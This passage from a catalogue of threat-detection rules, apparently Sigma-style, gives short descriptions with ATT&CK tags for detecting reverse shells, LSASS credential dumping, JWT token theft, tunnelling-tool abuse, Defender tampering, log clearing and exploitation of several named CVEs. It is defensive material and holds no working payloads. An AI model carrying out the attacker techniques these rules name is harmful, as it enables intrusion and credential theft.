Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs.

Read More
ESXi VSAN Information Discovery Via ESXCLI

Nov 20, 2024 · attack.discovery attack.t1033 attack.t1007 ·
Share on:

Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.

Read More
App Assigned To Azure RBAC/Microsoft Entra Role

Nov 20, 2024 · attack.persistence attack.privilege-escalation attack.t1098.003 ·
Share on:

Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner.

Read More
Potential File Extension Spoofing Using Right-to-Left Override

Nov 18, 2024 · attack.execution attack.defense-evasion attack.t1036.002 ·
Share on:

Detects suspicious filenames that contain a right-to-left override character and a potentially spoofed file extensions.

Read More
Potentially Suspicious Cabinet File Expansion

Nov 17, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the expansion or decompression of cabinet files from potentially suspicious or uncommon locations, e.g. seen in Iranian MeteorExpress related attacks

Read More
Python Reverse Shell Execution Via PTY And Socket Modules

Nov 4, 2024 · attack.execution ·
Share on:

Detects the execution of python with calls to the socket and pty module in order to connect and spawn a potential reverse shell.

Read More
Python Spawning Pretty TTY Via PTY Module

Nov 4, 2024 · attack.execution attack.t1059 ·
Share on:

Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.

Read More
Antivirus Exploitation Framework Detection

Nov 4, 2024 · attack.execution attack.t1203 attack.command-and-control attack.t1219 ·
Share on:

Detects a highly relevant Antivirus alert that reports an exploitation framework. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Read More
Antivirus Hacktool Detection

Nov 4, 2024 · attack.execution attack.t1204 ·
Share on:

Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Read More
Antivirus Password Dumper Detection

Nov 4, 2024 · attack.credential-access attack.t1003 attack.t1558 attack.t1003.001 attack.t1003.002 ·
Share on:

Detects a highly relevant Antivirus alert that reports a password dumper. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Read More
Antivirus Ransomware Detection

Nov 4, 2024 · attack.t1486 ·
Share on:

Detects a highly relevant Antivirus alert that reports ransomware. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Read More
Antivirus Relevant File Paths Alerts

Nov 4, 2024 · attack.resource-development attack.t1588 ·
Share on:

Detects an Antivirus alert in a highly relevant file path or with a relevant file name. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Read More
Antivirus Web Shell Detection

Nov 4, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big WebShell repository from e.g. github and checking the matches. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Read More
Monero Crypto Coin Mining Pool Lookup

Nov 4, 2024 · attack.impact attack.t1496 attack.exfiltration attack.t1567 ·
Share on:

Detects suspicious DNS queries to Monero mining pools

Read More
.RDP File Created by Outlook Process

Nov 4, 2024 · attack.defense-evasion ·
Share on:

Detects the creation of files with the ".rdp" extensions in the temporary directory that Outlook uses when opening attachments. This can be used to detect spear-phishing campaigns that use RDP files as attachments.

Read More
Paste sharing url in reverse order

Nov 4, 2024 ·
Share on:

Paste sharing url in reverse order

Read More
Potentially Suspicious Command Executed Via Run Dialog Box - Registry

Nov 1, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.

Read More
.RDP File Created By Uncommon Application

Nov 1, 2024 · attack.defense-evasion ·
Share on:

Detects creation of a file with an ".rdp" extension by an application that doesn't commonly create such files.

Read More
Binary Proxy Execution Via Dotnet-Trace.EXE

Nov 1, 2024 · attack.execution attack.defense-evasion attack.t1218 ·
Share on:

Detects commandline arguments for executing a child process via dotnet-trace.exe

Read More
Cloudflared Portable Execution

Nov 1, 2024 · attack.command-and-control attack.t1090.001 ·
Share on:

Detects the execution of the "cloudflared" binary from a non standard location.

Read More
Cloudflared Quick Tunnel Execution

Nov 1, 2024 · attack.command-and-control attack.t1090.001 ·
Share on:

Detects creation of an ad-hoc Cloudflare Quick Tunnel, which can be used to tunnel local services such as HTTP, RDP, SSH and SMB. The free TryCloudflare Quick Tunnel will generate a random subdomain on trycloudflare[.]com, following a call to api[.]trycloudflare[.]com. The tool has been observed in use by threat groups including Akira ransomware.

Read More
Cloudflared Tunnel Connections Cleanup

Nov 1, 2024 · attack.command-and-control attack.t1102 attack.t1090 attack.t1572 ·
Share on:

Detects execution of the "cloudflared" tool with the tunnel "cleanup" flag in order to cleanup tunnel connections.

Read More
Cloudflared Tunnel Execution

Nov 1, 2024 · attack.command-and-control attack.t1102 attack.t1090 attack.t1572 ·
Share on:

Detects execution of the "cloudflared" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks.

Read More
Cloudflared Tunnels Related DNS Requests

Nov 1, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects DNS requests to Cloudflared tunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

Read More
Compressed File Creation Via Tar.EXE

Nov 1, 2024 · attack.collection attack.exfiltration attack.t1560 attack.t1560.001 ·
Share on:

Detects execution of "tar.exe" in order to create a compressed file. Adversaries may abuse various utilities to compress or encrypt data before exfiltration.

Read More
Compressed File Extraction Via Tar.EXE

Nov 1, 2024 · attack.collection attack.exfiltration attack.t1560 attack.t1560.001 ·
Share on:

Detects execution of "tar.exe" in order to extract compressed file. Adversaries may abuse various utilities in order to decompress data to avoid detection.

Read More
Cscript/Wscript Potentially Suspicious Child Process

Nov 1, 2024 · attack.execution ·
Share on:

Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommon exports or PowerShell spawning rundll32 or regsvr32. Malware such as Pikabot and Qakbot were seen using similar techniques as well as many others.

Read More
DLL Names Used By SVR For GraphicalProton Backdoor

Nov 1, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Hunts known SVR-specific DLL names.

Read More
Enable LM Hash Storage

Nov 1, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.

Read More
Firewall Configuration Discovery Via Netsh.EXE

Nov 1, 2024 · attack.discovery attack.t1016 ·
Share on:

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems

Read More
Forfiles.EXE Child Process Masquerading

Nov 1, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects the execution of "forfiles" from a non-default location, in order to potentially spawn a custom "cmd.exe" from the current working directory.

Read More
HackTool - EDRSilencer Execution

Nov 1, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects the execution of EDRSilencer, a tool that leverages Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server based on PE metadata information.

Read More
HackTool - EfsPotato Named Pipe Creation

Nov 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·
Share on:

Detects the pattern of a pipe name as used by the hack tool EfsPotato

Read More
HackTool - NoFilter Execution

Nov 1, 2024 · attack.privilege-escalation attack.t1134 attack.t1134.001 ·
Share on:

Detects execution of NoFilter, a tool for abusing the Windows Filtering Platform for privilege escalation via hardcoded policy name indicators

Read More
Potential Base64 Decoded From Images

Nov 1, 2024 · attack.defense-evasion attack.t1140 ·
Share on:

Detects the use of tail to extract bytes at an offset from an image and then decode the base64 value to create a new file with the decoded content. The detected execution is a bash one-liner.

Read More
Potential Direct Syscall of NtOpenProcess

Nov 1, 2024 · attack.execution attack.t1106 ·
Share on:

Detects potential calls to NtOpenProcess directly from NTDLL.

Read More
Potential Persistence Via AppCompat RegisterAppRestart Layer

Nov 1, 2024 · attack.persistence attack.t1546.011 ·
Share on:

Detects the setting of the REGISTERAPPRESTART compatibility layer on an application. This compatibility layer allows an application to register for restart using the "RegisterApplicationRestart" API. This can be potentially abused as a persistence mechanism.

Read More
Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE

Nov 1, 2024 · attack.execution attack.t1059.003 attack.t1105 attack.t1218 detection.emerging-threats ·
Share on:

Detects the execution of concatenated commands via "cmd.exe". Pikabot often executes a combination of multiple commands via the command handler "cmd /c" in order to download and execute additional payloads. Commands such as "curl", "wget" in order to download extra payloads. "ping" and "timeout" are abused to introduce delays in the command execution and "Rundll32" is also used to execute malicious DLL files. In the observed Pikabot infections, a combination of the commands described above are used to orchestrate the download and execution of malicious DLL files.

Read More
Potential PowerShell Execution Policy Tampering

Nov 1, 2024 · attack.defense-evasion ·
Share on:

Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution

Read More
Potentially Suspicious AccessMask Requested From LSASS

Nov 1, 2024 · attack.credential-access car.2019-04-004 attack.t1003.001 ·
Share on:

Detects process handle on LSASS process with certain access mask

Read More
Potentially Suspicious Command Targeting Teams Sensitive Files

Nov 1, 2024 · attack.credential-access attack.t1528 ·
Share on:

Detects a commandline containing references to the Microsoft Teams database or cookies files from a process other than Teams. The database might contain authentication tokens and other sensitive information about the logged in accounts.

Read More
Potentially Suspicious Desktop Background Change Using Reg.EXE

Nov 1, 2024 · attack.defense-evasion attack.impact attack.t1112 attack.t1491.001 ·
Share on:

Detects the execution of "reg.exe" to alter registry keys that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.

Read More
Potentially Suspicious Desktop Background Change Via Registry

Nov 1, 2024 · attack.defense-evasion attack.impact attack.t1112 attack.t1491.001 ·
Share on:

Detects registry value settings that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.

Read More
PSScriptPolicyTest Creation By Uncommon Process

Nov 1, 2024 · attack.defense-evasion ·
Share on:

Detects the creation of the "PSScriptPolicyTest" PowerShell script by an uncommon process. This file is usually generated by Microsoft Powershell to test against Applocker.

Read More
Renamed Cloudflared.EXE Execution

Nov 1, 2024 · attack.command-and-control attack.t1090.001 ·
Share on:

Detects the execution of a renamed "cloudflared" binary.

Read More
Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor

Nov 1, 2024 · attack.persistence ·
Share on:

Hunts for known SVR-specific scheduled task names

Read More
Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor - Task Scheduler

Nov 1, 2024 · attack.persistence ·
Share on:

Hunts for known SVR-specific scheduled task names

Read More
Suspicious File Creation Activity From Fake Recycle.Bin Folder

Nov 1, 2024 · attack.persistence attack.defense-evasion ·
Share on:

Detects file write event from/to a fake recycle bin folder that is often used as a staging directory for malware

Read More
Suspicious Greedy Compression Using Rar.EXE

Nov 1, 2024 · attack.execution attack.t1059 ·
Share on:

Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes

Read More
Suspicious Process Execution From Fake Recycle.Bin Folder

Nov 1, 2024 · attack.persistence attack.defense-evasion ·
Share on:

Detects process execution from a fake recycle bin folder, often used to avoid security solution.

Read More
Suspicious Wordpad Outbound Connections

Nov 1, 2024 · attack.defense-evasion attack.command-and-control ·
Share on:

Detects a network connection initiated by "wordpad.exe" over uncommon destination ports. This might indicate potential process injection activity from a beacon or similar mechanisms.

Read More
System Information Discovery Using Ioreg

Nov 1, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects the use of "ioreg" which will show I/O Kit registry information. This process is used for system information discovery. It has been observed in-the-wild by calling this process directly or using bash and grep to look for specific strings.

Read More
System Information Discovery Using sw_vers

Nov 1, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects the use of "sw_vers" for system information discovery

Read More
System Information Discovery Using System_Profiler

Nov 1, 2024 · attack.discovery attack.defense-evasion attack.t1082 attack.t1497.001 ·
Share on:

Detects the execution of "system_profiler" with specific "Data Types" that have been seen being used by threat actors and malware. It provides system hardware and software configuration information. This process is primarily used for system information discovery. However, "system_profiler" can also be used to determine if virtualization software is being run for defense evasion purposes.

Read More
System Integrity Protection (SIP) Disabled

Nov 1, 2024 · attack.discovery attack.t1518.001 ·
Share on:

Detects the use of csrutil to disable the Configure System Integrity Protection (SIP). This technique is used in post-exploit scenarios.

Read More
System Integrity Protection (SIP) Enumeration

Nov 1, 2024 · attack.discovery attack.t1518.001 ·
Share on:

Detects the use of csrutil to view the Configure System Integrity Protection (SIP) status. This technique is used in post-exploit scenarios.

Read More
Tamper Windows Defender - PSClassic

Nov 1, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.

Read More
Tamper Windows Defender - ScriptBlockLogging

Nov 1, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.

Read More
Uncommon Child Process Of Conhost.EXE

Nov 1, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.

Read More
Uncommon File Created In Office Startup Folder

Nov 1, 2024 · attack.resource-development attack.t1587.001 ·
Share on:

Detects the creation of a file with an uncommon extension in an Office application startup folder

Read More
Uncommon System Information Discovery Via Wmic.EXE

Nov 1, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. Some of these commands were used by Aurora Stealer in late 2022/early 2023.

Read More
BITS Transfer Job Download From File Sharing Domains

Oct 25, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·
Share on:

Detects BITS transfer job downloading files from a file sharing domain.

Read More
Network Communication Initiated To File Sharing Domains From Process Located In Suspicious Folder

Oct 25, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects executables located in potentially suspicious directories initiating network connections towards file sharing domains.

Read More
New Connection Initiated To Potential Dead Drop Resolver Domain

Oct 25, 2024 · attack.command-and-control attack.t1102 attack.t1102.001 ·
Share on:

Detects an executable, which is not an internet browser or known application, initiating network connections to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks. In this context attackers leverage known websites such as "facebook", "youtube", etc. In order to pass through undetected.

Read More
Potentially Suspicious File Download From File Sharing Domain Via PowerShell.EXE

Oct 25, 2024 · attack.execution ·
Share on:

Detects potentially suspicious file downloads from file sharing domains using PowerShell.exe

Read More
Suspicious File Download From File Sharing Domain Via Curl.EXE

Oct 25, 2024 · attack.execution ·
Share on:

Detects potentially suspicious file download from file sharing domains using curl.exe

Read More
Suspicious File Download From File Sharing Domain Via Wget.EXE

Oct 25, 2024 · attack.execution ·
Share on:

Detects potentially suspicious file downloads from file sharing domains using wget.exe

Read More
Suspicious File Download From File Sharing Websites - File Stream

Oct 25, 2024 · attack.defense-evasion attack.s0139 attack.t1564.004 ·
Share on:

Detects the download of suspicious file type from a well-known file and paste sharing domain

Read More
Suspicious Windows Service Tampering

Oct 25, 2024 · attack.defense-evasion attack.t1489 ·
Share on:

Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause, disable or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts

Read More
Unusual File Download From File Sharing Websites - File Stream

Oct 25, 2024 · attack.defense-evasion attack.s0139 attack.t1564.004 ·
Share on:

Detects the download of suspicious file type from a well-known file and paste sharing domain

Read More
CodeIntegrity - Unmet Signing Level Requirements By File Under Validation

Oct 8, 2024 · attack.execution ·
Share on:

Detects attempted file load events that did not meet the signing level requirements. It often means the file's signature is revoked or a signature with the Lifetime Signing EKU has expired. This event is best correlated with EID 3089 to determine the error of the validation.

Read More
Renamed Powershell Under Powershell Channel

Oct 8, 2024 · attack.execution attack.t1059.001 attack.t1036.003 ·
Share on:

Detects a renamed Powershell execution, which is a common technique used to circumvent security controls and bypass detection logic that's dependent on process names and process paths.

Read More
Suspicious Non PowerShell WSMAN COM Provider

Oct 8, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.003 ·
Share on:

Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.

Read More
HackTool - Certipy Execution

Oct 8, 2024 · attack.discovery attack.credential-access attack.t1649 ·
Share on:

Detects Certipy execution, a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments.

Read More
Alternate PowerShell Hosts Pipe

Oct 8, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

Read More
Disable Windows Defender Functionalities Via Registry Keys

Oct 8, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects when attackers or tools disable Windows Defender functionalities via the Windows registry

Read More
LSASS Process Memory Dump Files

Oct 8, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects creation of files with names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials.

Read More
Potentially Suspicious JWT Token Search Via CLI

Oct 6, 2024 · attack.credential-access attack.t1528 ·
Share on:

Detects possible search for JWT tokens via CLI by looking for the string "eyJ0eX" or "eyJhbG". This string is used as an anchor to look for the start of the JWT token used by microsoft office and similar apps.

Read More
Potential Python DLL SideLoading

Oct 6, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of Python DLL files.

Read More
ETW Logging/Processing Option Disabled On IIS Server

Oct 6, 2024 · attack.defense-evasion attack.t1562.002 attack.t1505.004 ·
Share on:

Detects changes to of the IIS server configuration in order to disable/remove the ETW logging/processing option.

Read More
HTTP Logging Disabled On IIS Server

Oct 6, 2024 · attack.defense-evasion attack.t1562.002 attack.t1505.004 ·
Share on:

Detects changes to of the IIS server configuration in order to disable HTTP logging for successful requests.

Read More
New Module Module Added To IIS Server

Oct 6, 2024 · attack.defense-evasion attack.persistence attack.t1562.002 attack.t1505.004 ·
Share on:

Detects the addition of a new module to an IIS server.

Read More
Previously Installed IIS Module Was Removed

Oct 6, 2024 · attack.defense-evasion attack.persistence attack.t1562.002 attack.t1505.004 ·
Share on:

Detects the removal of a previously installed IIS module.

Read More
Add Potential Suspicious New Download Source To Winget

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects usage of winget to add new potentially suspicious download sources

Read More
Arbitrary File Download Via IMEWDBLD.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of "IMEWDBLD.exe" to download arbitrary files

Read More
Arbitrary File Download Via MSEDGE_PROXY.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects usage of "msedge_proxy.exe" to download arbitrary files

Read More
Arbitrary File Download Via Squirrel.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·
Share on:

Detects the usage of the "Squirrel.exe" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)

Read More
Chromium Browser Instance Executed With Custom Extension

Oct 1, 2024 · attack.persistence attack.t1176 ·
Share on:

Detects a Chromium based browser process with the 'load-extension' flag to start a instance with a custom extension

Read More
CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux)

Oct 1, 2024 · detection.emerging-threats attack.execution attack.t1059 attack.initial-access attack.t1190 cve.2023-22518 ·
Share on:

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

Read More
CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows)

Oct 1, 2024 · detection.emerging-threats attack.execution attack.t1059 attack.initial-access attack.t1190 cve.2023-22518 ·
Share on:

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

Read More
CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Proxy)

Oct 1, 2024 · detection.emerging-threats attack.initial-access attack.t1190 cve.2023-22518 ·
Share on:

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

Read More
CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Webserver)

Oct 1, 2024 · detection.emerging-threats attack.initial-access attack.t1190 cve.2023-22518 ·
Share on:

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

Read More
CVE-2023-46747 Exploitation Activity - Proxy

Oct 1, 2024 · attack.initial-access attack.t1190 detection.emerging-threats cve.2023-46747 ·
Share on:

Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP.

Read More
CVE-2023-46747 Exploitation Activity - Webserver

Oct 1, 2024 · attack.initial-access attack.t1190 detection.emerging-threats cve.2023-46747 ·
Share on:

Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP.

Read More
CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy

Oct 1, 2024 · detection.emerging-threats attack.initial-access attack.t1190 cve.2023-4966 ·
Share on:

Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs by looking for a very long host header string.

Read More
CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver

Oct 1, 2024 · detection.emerging-threats attack.initial-access attack.t1190 cve.2023-4966 ·
Share on:

Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs by looking for a very long host header string.

Read More
CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy

Oct 1, 2024 · detection.emerging-threats attack.initial-access attack.t1190 cve.2023-4966 ·
Share on:

Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs.

Read More
CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver

Oct 1, 2024 · detection.emerging-threats attack.initial-access attack.t1190 cve.2023-4966 ·
Share on:

Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs.

Read More
Disable Internal Tools or Feature in Registry

Oct 1, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)

Read More
DNS Query To Devtunnels Domain

Oct 1, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects DNS query requests to Devtunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

Read More
DNS Query To Visual Studio Code Tunnels Domain

Oct 1, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects DNS query requests to Visual Studio Code tunnel domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

Read More
Elevated System Shell Spawned From Uncommon Parent Location

Oct 1, 2024 · attack.privilege-escalation attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location.

Read More
Eventlog Cleared

Oct 1, 2024 · attack.defense-evasion attack.t1070.001 car.2016-04-002 ·
Share on:

One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution

Read More
Execution of Suspicious File Type Extension

Oct 1, 2024 · attack.defense-evasion ·
Share on:

Detects whether the image specified in a process creation event doesn't refer to an ".exe" (or other known executable extension) file. This can be caused by process ghosting or other unorthodox methods to start a process. This rule might require some initial baselining to align with some third party tooling in the user environment.

Read More
Exploitation Attempt Of CVE-2023-46214 Using Public POC Code

Oct 1, 2024 · cve.2023-46214 detection.emerging-threats attack.lateral-movement attack.t1210 ·
Share on:

Detects exploitation attempt of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing using known public proof of concept code

Read More
F5 BIG-IP iControl Rest API Command Execution - Proxy

Oct 1, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP

Read More
F5 BIG-IP iControl Rest API Command Execution - Webserver

Oct 1, 2024 · attack.execution attack.t1190 ·
Share on:

Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP

Read More
HackTool - Generic Process Access

Oct 1, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·
Share on:

Detects process access requests from hacktool processes based on their default image name

Read More
HackTool - WinPwn Execution

Oct 1, 2024 · attack.credential-access attack.defense-evasion attack.discovery attack.execution attack.privilege-escalation attack.t1046 attack.t1082 attack.t1106 attack.t1518 attack.t1548.002 attack.t1552.001 attack.t1555 attack.t1555.003 ·
Share on:

Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.

Read More
HackTool - WinPwn Execution - ScriptBlock

Oct 1, 2024 · attack.credential-access attack.defense-evasion attack.discovery attack.execution attack.privilege-escalation attack.t1046 attack.t1082 attack.t1106 attack.t1518 attack.t1548.002 attack.t1552.001 attack.t1555 attack.t1555.003 ·
Share on:

Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.

Read More
Important Windows Eventlog Cleared

Oct 1, 2024 · attack.defense-evasion attack.t1070.001 car.2016-04-002 ·
Share on:

Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution

Read More
Lace Tempest Cobalt Strike Download

Oct 1, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects specific command line execution used by Lace Tempest to download Cobalt Strike as reported by SysAid Team

Read More
Lace Tempest File Indicators

Oct 1, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects PowerShell script file creation with specific names or suffixes which was seen being used often in PowerShell scripts by FIN7

Read More
Lace Tempest Malware Loader Execution

Oct 1, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects execution of a specific binary based on filename and hash used by Lace Tempest to load additional malware as reported by SysAid Team

Read More
Lace Tempest PowerShell Evidence Eraser

Oct 1, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects a PowerShell script used by Lace Tempest APT to erase evidence from victim servers by exploiting CVE-2023-47246 as reported by SysAid Team

Read More
Lace Tempest PowerShell Launcher

Oct 1, 2024 · attack.execution attack.t1059.001 detection.emerging-threats ·
Share on:

Detects a PowerShell script used by Lace Tempest APT to launch their malware loader by exploiting CVE-2023-47246 as reported by SysAid Team

Read More
Load Of RstrtMgr.DLL By A Suspicious Process

Oct 1, 2024 · attack.impact attack.defense-evasion attack.t1486 attack.t1562.001 ·
Share on:

Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.

Read More
Load Of RstrtMgr.DLL By An Uncommon Process

Oct 1, 2024 · attack.impact attack.defense-evasion attack.t1486 attack.t1562.001 ·
Share on:

Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.

Read More
Malicious Driver Load

Oct 1, 2024 · attack.privilege-escalation attack.t1543.003 attack.t1068 ·
Share on:

Detects loading of known malicious drivers via their hash.

Read More
Malicious Driver Load By Name

Oct 1, 2024 · attack.privilege-escalation attack.t1543.003 attack.t1068 ·
Share on:

Detects loading of known malicious drivers via the file name of the drivers.

Read More
Network Connection Initiated To DevTunnels Domain

Oct 1, 2024 · attack.exfiltration attack.t1567.001 ·
Share on:

Detects network connections to Devtunnels domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

Read More
Network Connection Initiated To Visual Studio Code Tunnels Domain

Oct 1, 2024 · attack.exfiltration attack.t1567.001 ·
Share on:

Detects network connections to Visual Studio Code tunnel domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

Read More
New Netsh Helper DLL Registered From A Suspicious Location

Oct 1, 2024 · attack.persistence attack.t1546.007 ·
Share on:

Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper

Read More
Permission Misconfiguration Reconnaissance Via Findstr.EXE

Oct 1, 2024 · attack.credential-access attack.t1552.006 ·
Share on:

Detects usage of findstr with the "EVERYONE" or "BUILTIN" keywords. This was seen being used in combination with "icacls" and other utilities to spot misconfigured files or folders permissions.

Read More
Portable Gpg.EXE Execution

Oct 1, 2024 · attack.impact attack.t1486 ·
Share on:

Detects the execution of "gpg.exe" from uncommon location. Often used by ransomware and loaders to decrypt/encrypt data.

Read More
Potential CVE-2023-46214 Exploitation Attempt

Oct 1, 2024 · attack.lateral-movement attack.t1210 cve.2023-46214 detection.emerging-threats ·
Share on:

Detects potential exploitation of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing

Read More
Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp

Oct 1, 2024 · attack.t1021.003 attack.lateral-movement ·
Share on:

Detects suspicious child processes of Excel which could be an indicator of lateral movement leveraging the "ActivateMicrosoftApp" Excel DCOM object.

Read More
Potential File Download Via MS-AppInstaller Protocol Handler

